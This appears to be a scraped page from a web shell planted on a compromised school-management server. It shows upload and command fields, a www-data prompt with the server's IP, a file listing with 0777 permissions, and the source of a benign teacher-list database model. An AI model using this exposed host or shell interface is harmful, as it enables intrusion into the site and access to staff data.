[ Avaa Bypassed ]




Upload:

Command:

www-data@18.117.157.139: ~ $
<?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

class Teacher_Model extends MY_Model {

    function __construct() {
        parent::__construct();
    }

    public function get_teacher_list($school_id = null) {

        $this->db->select('T.*, S.school_name, U.username, U.role_id, D.title AS department');
        $this->db->from('teachers AS T');
        $this->db->join('users AS U', 'U.id = T.user_id', 'left');
        $this->db->join('departments AS D', 'D.id = T.department_id', 'left');
        $this->db->join('schools AS S', 'S.id = T.school_id', 'left');
        $this->db->where('T.status', 1);
        $this->db->where('T.school_id', $school_id);

        return $this->db->get()->result();
    }

}

Filemanager

Name Type Size Permission Actions
Absentemailsms_Model.php File 5.88 KB 0777
Employee_Model.php File 737 B 0777
Student_Model.php File 2.24 KB 0777
Teacher_Model.php File 771 B 0777
index.html File 131 B 0777